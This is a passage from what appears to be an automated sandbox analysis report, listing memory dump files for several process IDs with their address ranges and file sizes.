
      Filesize

      256KB

    • memory/2524-35-0x000000006A490000-0x000000006AA3B000-memory.dmp

      Filesize

      5.7MB

    • memory/2548-205-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/2548-175-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB

    • memory/2548-177-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/2548-192-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/2548-191-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/2548-186-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/2548-181-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/2776-164-0x000000006A490000-0x000000006AA3B000-memory.dmp

      Filesize

      5.7MB

    • memory/2776-124-0x0000000002550000-0x0000000002590000-memory.dmp

      Filesize

      256KB

    • memory/2776-121-0x000000006A490000-0x000000006AA3B000-memory.dmp

      Filesize

      5.7MB

    • memory/2776-46-0x000000006A490000-0x000000006AA3B000-memory.dmp

      Filesize

      5.7MB

    • memory/2776-125-0x0000000002550000-0x0000000002590000-memory.dmp

      Filesize

      256KB

    • memory/2776-48-0x0000000002550000-0x0000000002590000-memory.dmp

      Filesize

      256KB

    • memory/2776-122-0x000000006A490000-0x000000006AA3B000-memory.dmp

      Filesize

      5.7MB

    • memory/2776-45-0x000000006A490000-0x000000006AA3B000-memory.dmp

      Filesize

      5.7MB

    • memory/2776-123-0x0000000002550000-0x0000000002590000-memory.dmp

      Filesize

      256KB

    • memory/2776-47-0x0000000002550000-0x0000000002590000-memory.dmp

      Filesize

      256KB

    • memory/2956-216-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/2956-214-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/2956-194-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/2956-199-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/2956-215-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/2956-217-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/2956-213-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/3044-153-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/3044-174-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/3044-172-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/3044-171-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/3044-170-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/3044-169-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/3044-168-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/3044-166-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/3044-165-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/3044-163-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/3044-161-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/3044-157-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB

    • memory/3044-159-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/3044-207-0x0000000010000000-0x0000000010019000-memory.dmp

      Filesize

      100KB

    • memory/3044-210-0x0000000010000000-0x0000000010019000-memory.dmp

      Filesize

      100KB

    • memory/3044-211-0x0000000010000000-0x0000000010019000-memory.dmp

      Filesize

      100KB

    • memory/3044-212-0x0000000010000000-0x0000000010019000-memory.dmp

      Filesize

      100KB

    • memory/3044-155-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/3044-151-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/3044-149-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/3044-147-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/3044-145-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/3044-218-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/3044-143-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/3044-220-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/3044-223-0x0000000010000000-0x0000000010019000-memory.dmp

      Filesize

      100KB

    • memory/3044-141-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB